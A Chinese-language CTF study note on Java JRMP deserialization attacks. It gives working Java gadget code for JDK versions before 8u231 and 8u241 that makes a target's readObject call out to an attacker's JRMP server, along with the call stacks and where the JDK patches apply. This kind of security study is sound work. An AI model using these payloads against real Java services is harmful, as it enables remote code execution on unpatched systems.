前言

做题时遇到一题,打JRMP反序列化的,做了才发现先前的RMI反序列化学过,但没完全理清哈哈哈。

参考:https://www.cnblogs.com/zpchcbd/p/14934168.html

先前说的RMI反序列化攻击,都是针对于RMI服务的(入口不是readObject,中间有readObject)。

JRMP反序列化攻击,针对的是有可控反序列化点该怎么打(入口是readObject)。

下面两个攻击手法,都是以readObject为入口,sink点为发送JRMP请求的攻击。根据JDK版本分了两种payload,这两种payload也分别对应RMI攻击中两种版本的绕过。

JDK8u231

8u231之前都可以用这个。

getObj填上JRMP服务器的地址。

private static RemoteObjectInvocationHandler getInvocationHandler(String host,int port) throws  Exception{
ObjID id = new ObjID(1); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return new RemoteObjectInvocationHandler(ref);
}

调用栈与8u231之后的修复

RemoteObject#readObject
UnicastRef#readExternal
LiveRef#read
DGCClient#registerRefs
DGCClient$EndpointEntry#registerRefs
DGCClient$EndpointEntry#makeDirtyCall
DGCImpl_Stub#dirty
// JDK8u231之后在这里添加了过滤器 StreamRemoteCall#setObjectInputFilter
UnicastRef#invoke
StreamRemoteCall#executeCall
//发起JRMP请求
readObject

其实不一定要用RemoteObjectInvocationHandler,RemoteObject的任意子类都可以,因为子类readObject时会先调用父类的readObject。

比如用RegistryImpl一样可以:

public static void main(String[] args) throws Exception{
ObjID id = new ObjID(1); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 17777);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObject registryImpl = Util.createWithoutConstructor(RegistryImpl.class);
Util.setFieldValue(registryImpl,"ref",ref);

Util.unserialize(Util.serialize(registryImpl));
}

JDK8u241

8u241之前打这个。

private static RemoteObjectInvocationHandler getInvocationHandler(String host,int port) throws  Exception{
ObjID id = new ObjID(1); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return new RemoteObjectInvocationHandler(ref);
}

private static UnicastRemoteObject getUnicastRemoteObject(String host, int port) throws Exception{
LiveRef liveRef = new LiveRef(new ObjID(1), new TCPEndpoint(host,port), false);
UnicastRef ref = new UnicastRef(liveRef);
RemoteObjectInvocationHandler remoteObjectInvocationHandler = getInvocationHandler(host,port);

RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(),
new Class[]{RMIServerSocketFactory.class, Remote.class},remoteObjectInvocationHandler
);

UnicastRemoteObject unicastRemoteObject = Util.createWithoutConstructor(UnicastRemoteObject.class);
Util.setFieldValue(unicastRemoteObject,"ref",ref);
Util.setFieldValue(unicastRemoteObject,"ssf",rmiServerSocketFactory);
return unicastRemoteObject;

}

调用栈与8u241之后的修复

UnicastRemoteObject#readObject
reexport
...
TCPTransport#listen
TCPEndPoint#newServerSocket
RemoteObjectInvocationHandler#invoke
RemoteObjectInvocationHandler#invokeRemoteMethod
//修复位置在这里,下面走不通了
UnicastRef#invoke
StreamRemoteCall#executeCall
//发送JRMP请求,然后对返回结果readObject

其实这个payload 8u241之前包括8u231之前的所有版本都可以打。因为UnicastRemoteObject是RemoteObject的子类,会先调用RemoteObject的readObject,调用完他再调用UnicastRemoteObject的readObject。